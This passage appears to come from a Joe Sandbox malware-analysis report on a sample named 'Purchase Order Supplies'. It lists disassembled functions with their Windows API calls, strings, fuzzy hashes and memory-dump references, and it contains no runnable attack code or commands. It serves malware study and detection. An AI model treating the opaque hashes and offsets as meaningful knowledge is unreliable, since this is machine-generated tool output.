Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 50f1c668bc2ef397aa2b4262b51f3c896a5aac4ddabdb12d8b803cc8f51c6b91
Instruction ID: 1ac1fb4a231e265949227298d324e8810bf752d52594c761124f4fd79d7264ae
Opcode Fuzzy Hash: 50f1c668bc2ef397aa2b4262b51f3c896a5aac4ddabdb12d8b803cc8f51c6b91
Instruction Fuzzy Hash: 8F41A070100301AFC721DF64DC88FBA7BE8EB46724F140669F9A5C72A2C7319D45DB61

Function 00CFE1A7 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(00D51810,00000000,?,?,00D51810,00D51810,?,00D0E2D6), ref: 00CFE21B
EnableWindow.USER32(?,00000000), ref: 00CFE23F
ShowWindow.USER32(00D51810,00000000,?,?,00D51810,00D51810,?,00D0E2D6), ref: 00CFE29F
ShowWindow.USER32(?,00000004,?,?,00D51810,00D51810,?,00D0E2D6), ref: 00CFE2B1
EnableWindow.USER32(?,00000001), ref: 00CFE2D5
SendMessageW.USER32(?,0000130C,?,00000000), ref: 00CFE2F8

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 79c8c57a4bce897d378743b63400762b2878efe9c6d5177c808362ef2eef3290
Instruction ID: 043123cfb137dad37e2022e79c7b2323e28b660709588876a94d77a718420621
Opcode Fuzzy Hash: 79c8c57a4bce897d378743b63400762b2878efe9c6d5177c808362ef2eef3290
Instruction Fuzzy Hash: 1D417270601248EFDB66CF14C499BE47BE5BB06304F1881B9EB688F2B3D731A941CB52

Function 00CE1BFA Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 308COMMON

Download Yara Rule

APIs

Part of subcall function 00C984A6: __swprintf.LIBCMT ref: 00C984E5
Part of subcall function 00C984A6: __itow.LIBCMT ref: 00C98519

Part of subcall function 00C93BCF: _wcscpy.LIBCMT ref: 00C93BF2

_wcstok.LIBCMT ref: 00CE1D6E
_wcscpy.LIBCMT ref: 00CE1DFD
_memset.LIBCMT ref: 00CE1E30

Strings

X, xrefs: 00CE1E68

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 6dc005da6d38325e35aba604d3c84f513f0a81e54a0ab67dab2ad626d33e9492
Instruction ID: 353b5cade57f527310666c56f0f1a7bf25f5346b74c00ee3da736dbba13289d5
Opcode Fuzzy Hash: 6dc005da6d38325e35aba604d3c84f513f0a81e54a0ab67dab2ad626d33e9492
Instruction Fuzzy Hash: 39C170716083419FCB14EF64C899E9AB7E4FF85310F04492DF89A972A2DB30ED15DB92

Function 00CFE9C8 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00CAB58B: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00CAB5EB
Part of subcall function 00CAB58B: SelectObject.GDI32(?,00000000), ref: 00CAB5FA
Part of subcall function 00CAB58B: BeginPath.GDI32(?), ref: 00CAB611
Part of subcall function 00CAB58B: SelectObject.GDI32(?,00000000), ref: 00CAB63B

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00CFE9F2
LineTo.GDI32(00000000,00000003,?), ref: 00CFEA06
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00CFEA14
LineTo.GDI32(00000000,00000000,?), ref: 00CFEA24
EndPath.GDI32(00000000), ref: 00CFEA34
StrokePath.GDI32(00000000), ref: 00CFEA44

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: da918347196c442ace2cad2d33646288dd58f5939b83a5907468ca983bca5046
Instruction ID: 8912d28aa2b442c7af593d500225aa0e76712ca6fd8cb4d9cdd35f3b3cbb1f84
Opcode Fuzzy Hash: da918347196c442ace2cad2d33646288dd58f5939b83a5907468ca983bca5046
Instruction Fuzzy Hash: E411B77600024DBFDB129F90DC88EEA7FADEB08355F048012FE1999261D7719E569BA0

Function 00CCEF91 Relevance: 9.0, APIs: 6, Instructions: 48COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00CCEFB6
GetDeviceCaps.GDI32(00000000,00000058), ref: 00CCEFC7
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00CCEFCE
ReleaseDC.USER32(00000000,00000000), ref: 00CCEFD6
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00CCEFED
MulDiv.KERNEL32(000009EC,?,?), ref: 00CCEFFF

Part of subcall function 00CCA83B: RaiseException.KERNEL32(-C0000018,00000001,00000000,00000000,00CCA79D,00000000,00000000,?,00CCAB73), ref: 00CCB2CA

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CapsDevice$ExceptionRaiseRelease
String ID:
API String ID: 603618608-0
Opcode ID: fe72ffddf23d127884df4aa598eabe2bbb2ea049aae877438472be651d3c0fe6
Instruction ID: 709b812fe3ca3658ea6fc04a6845eb3e8193e1fa8e88af4a68006e4e8bc471c2
Opcode Fuzzy Hash: fe72ffddf23d127884df4aa598eabe2bbb2ea049aae877438472be651d3c0fe6
Instruction Fuzzy Hash: CD012175A00319BBEB109BE5DC49B5EBFB9EB49751F10806AFA04EB390DA709D018B61

Function 00CB87D7 Relevance: 9.0, APIs: 6, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00CB87D7

Part of subcall function 00CB1E5A: __initp_misc_winsig.LIBCMT ref: 00CB1E7E
Part of subcall function 00CB1E5A: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00CB8BE1
Part of subcall function 00CB1E5A: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00CB8BF5
Part of subcall function 00CB1E5A: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00CB8C08
Part of subcall function 00CB1E5A: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00CB8C1B
Part of subcall function 00CB1E5A: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00CB8C2E
Part of subcall function 00CB1E5A: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00CB8C41
Part of subcall function 00CB1E5A: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00CB8C54
Part of subcall function 00CB1E5A: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00CB8C67
Part of subcall function 00CB1E5A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00CB8C7A
Part of subcall function 00CB1E5A: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00CB8C8D
Part of subcall function 00CB1E5A: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00CB8CA0
Part of subcall function 00CB1E5A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00CB8CB3
Part of subcall function 00CB1E5A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00CB8CC6
Part of subcall function 00CB1E5A: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00CB8CD9
Part of subcall function 00CB1E5A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00CB8CEC
Part of subcall function 00CB1E5A: GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00CB8CFF

__mtinitlocks.LIBCMT ref: 00CB87DC

Part of subcall function 00CB8AB3: InitializeCriticalSectionAndSpinCount.KERNEL32(00D4AC68,00000FA0,?,?,00CB87E1,00CB6AFA,00D467D8,00000014), ref: 00CB8AD1

__mtterm.LIBCMT ref: 00CB87E5

Part of subcall function 00CB884D: RtlDeleteCriticalSection.NTDLL(00000000), ref: 00CB89CF
Part of subcall function 00CB884D: _free.LIBCMT ref: 00CB89D6
Part of subcall function 00CB884D: RtlDeleteCriticalSection.NTDLL(00D4AC68), ref: 00CB89F8

__calloc_crt.LIBCMT ref: 00CB880A
GetCurrentThreadId.KERNEL32 ref: 00CB8833

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: AddressProc$CriticalSection$Delete$CountCurrentHandleInitializeModuleSpinThread__calloc_crt__init_pointers__initp_misc_winsig__mtinitlocks__mtterm_free
String ID:
API String ID: 2942034483-0
Opcode ID: 721cf8be8b6ba7035fb4970838e922dd23a4261ff849df6da2bf477b001f34c8
Instruction ID: 674c5598878ac8947329f42b6b06232c918fce98ff8e50ff9ef170ee4321ad69
Opcode Fuzzy Hash: 721cf8be8b6ba7035fb4970838e922dd23a4261ff849df6da2bf477b001f34c8
Instruction Fuzzy Hash: B3F090321597515BF6247B787C07ACA27CC8F02734F640A2AF464D60D2FF118849E1B0

Function 00CDA3D2 Relevance: 9.0, APIs: 6, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$EnterLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 1423608774-0
Opcode ID: 622b4e766e13b249df92d1a2ced81910d5488b8cb214171b7ff8afc42737004f
Instruction ID: f173d303c8321333ea6436ae213d9a70b55056601348dca70b90c73990130e09
Opcode Fuzzy Hash: 622b4e766e13b249df92d1a2ced81910d5488b8cb214171b7ff8afc42737004f
Instruction Fuzzy Hash: 45016D32541311BBD7152B58ED48DEB77ABEF89702B00452AF613D22B1CFB4E902DA61

Function 00C91867 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00C91898
MapVirtualKeyW.USER32(00000010,00000000), ref: 00C918A0
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00C918AB
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00C918B6
MapVirtualKeyW.USER32(00000011,00000000), ref: 00C918BE
MapVirtualKeyW.USER32(00000012,00000000), ref: 00C918C6

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 1f721027774e1fabb197eebc409e9eadb74b30145f4c078d6ff47186ff3866cc
Instruction ID: 9ac0fd0127f5acc93e53e51cdcad59a7f5bf961effd719f1b96946563fe2673f
Opcode Fuzzy Hash: 1f721027774e1fabb197eebc409e9eadb74b30145f4c078d6ff47186ff3866cc
Instruction Fuzzy Hash: E00144B0902B5ABDE3008F6A8C85A52FEA8FF19354F04411BA15C87A42C7B5A864CBE5

Function 00CD84F4 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00CD8504
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00CD851A
GetWindowThreadProcessId.USER32(?,?), ref: 00CD8529
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00CD8538
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00CD8542
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00CD8549

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: c5729c212fece3b80963a1ab7e4b4857f822a0b3a9e7ed383618d36404bb3379
Instruction ID: fe9a8ea2ec1939b2063cb18238869b3b32b9e1f616bdba145d70e2b1eded81ef
Opcode Fuzzy Hash: c5729c212fece3b80963a1ab7e4b4857f822a0b3a9e7ed383618d36404bb3379
Instruction Fuzzy Hash: 27F09A32240258BBE7201B629C0EEEF3B7DDFC6B11F004018FA05D1250EBA02A42C6B4

Function 00CDA31D Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00CDA330
RtlEnterCriticalSection.NTDLL(?), ref: 00CDA341
TerminateThread.KERNEL32(?,000001F6,?,?,?,00D066D3,?,?,?,?,?,00C9E681), ref: 00CDA34E
WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00D066D3,?,?,?,?,?,00C9E681), ref: 00CDA35B

Part of subcall function 00CD9CCE: CloseHandle.KERNEL32(?,?,00CDA368,?,?,?,00D066D3,?,?,?,?,?,00C9E681), ref: 00CD9CD8

InterlockedExchange.KERNEL32(?,000001F6), ref: 00CDA36E
RtlLeaveCriticalSection.NTDLL(?), ref: 00CDA375

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 756c8ae00e64400a58fad6f72fb265f330fe03d4308ea9e2df54d99303e3ece8
Instruction ID: c5ec6a3d4493ddcc2372147766498c11e11db1acf4caec668a04014027561659
Opcode Fuzzy Hash: 756c8ae00e64400a58fad6f72fb265f330fe03d4308ea9e2df54d99303e3ece8
Instruction Fuzzy Hash: C5F05832141311BBD3112B68ED88EDB7B7BEF89302B004522F212E22B1CFB59942DB61

Function 00CAD7C7 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 250COMMON

Download Yara Rule

APIs

Part of subcall function 00CB010A: std::exception::exception.LIBCMT ref: 00CB013E
Part of subcall function 00CB010A: __CxxThrowException@8.LIBCMT ref: 00CB0153

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

Part of subcall function 00C9BBD9: _memmove.LIBCMT ref: 00C9BC33

__swprintf.LIBCMT ref: 00CAD98F

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00CAD832

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 36825c6191d7a0ad9380e6cfa0b8fa9d3f8f9cc34430466ca086e4504ef2bdb4
Instruction ID: 378a6aae5131ff90737cd908f6914d204180e7a1b2ad5869e044e1dc9ea4b488
Opcode Fuzzy Hash: 36825c6191d7a0ad9380e6cfa0b8fa9d3f8f9cc34430466ca086e4504ef2bdb4
Instruction Fuzzy Hash: 82918D311183029FCB14EF64C889DAFB7A5EF85704F04495EF49A972A1DB30EE04DB66

Function 00CEB482 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 229COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00CEB4A8
CharUpperBuffW.USER32(?,?), ref: 00CEB5B7
VariantClear.OLEAUT32(?), ref: 00CEB73A

Part of subcall function 00CDA6F6: VariantInit.OLEAUT32(00000000), ref: 00CDA736
Part of subcall function 00CDA6F6: VariantCopy.OLEAUT32(?,?), ref: 00CDA73F
Part of subcall function 00CDA6F6: VariantClear.OLEAUT32(?), ref: 00CDA74B

Strings

AUTOIT.ERROR, xrefs: 00CEB5BD
Incorrect Parameter format, xrefs: 00CEB4E0, 00CEB6AD

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: a1104020bcddc3aadcc68a79f76d61917f6b20f9ef44c481762adad26513880b
Instruction ID: aab2a752f411f5c994ae40a8a1489b226f018b7098186ac578e04d1c0c4316ec
Opcode Fuzzy Hash: a1104020bcddc3aadcc68a79f76d61917f6b20f9ef44c481762adad26513880b
Instruction Fuzzy Hash: 15918A706083419FCB14DF29C48496BB7E8AF89700F14486EF89A9B362DB30ED45DB52

Function 00CD1050 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(?,00000000,00000005,?,?), ref: 00CD10B8
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00CD10EE
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00CD10FF
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00CD1181

Strings

DllGetClassObject, xrefs: 00CD10F4

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: e138d9db11f9aeaf6b9fa4a5383a1cdfb1413f3ff14db3bc439f145daeb08a02
Instruction ID: 9e887b069f4b929fefed8cf470d75b56637e061289fb5850d49b5c7896e25cbe
Opcode Fuzzy Hash: e138d9db11f9aeaf6b9fa4a5383a1cdfb1413f3ff14db3bc439f145daeb08a02
Instruction Fuzzy Hash: 8F412CB1600205FFDB15CF55C884A9A7BB9EF44354F1880AAEE09DF305D7B1DA84CBA0

Function 00CD5A25 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CD5A93
GetMenuItemInfoW.USER32 ref: 00CD5AAF
DeleteMenu.USER32(00000004,00000007,00000000), ref: 00CD5AF5
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00D518F0,00000000), ref: 00CD5B3E

Strings

0, xrefs: 00CD5A8B

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: e61c34dd7a3b2898a9f577b711c19fa8d852ff8a0143280418e18086b2972910
Instruction ID: 4360eb0fab613f03d9a5e80a9946a47806d02ce501f19680c7ae6c52447cad77
Opcode Fuzzy Hash: e61c34dd7a3b2898a9f577b711c19fa8d852ff8a0143280418e18086b2972910
Instruction Fuzzy Hash: DE418171204701AFDB10DF24C884B6ABBE5AF89714F14461FFAA99B3D1D770E901CB62

Function 00CF0458 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?), ref: 00CF0478

Part of subcall function 00C97F40: _memmove.LIBCMT ref: 00C97F8F

Part of subcall function 00C9A2FB: _memmove.LIBCMT ref: 00C9A33D

Strings

winapi, xrefs: 00CF04E9
cdecl, xrefs: 00CF04CF
stdcall, xrefs: 00CF04FA
none, xrefs: 00CF0553

Memory Dump Source

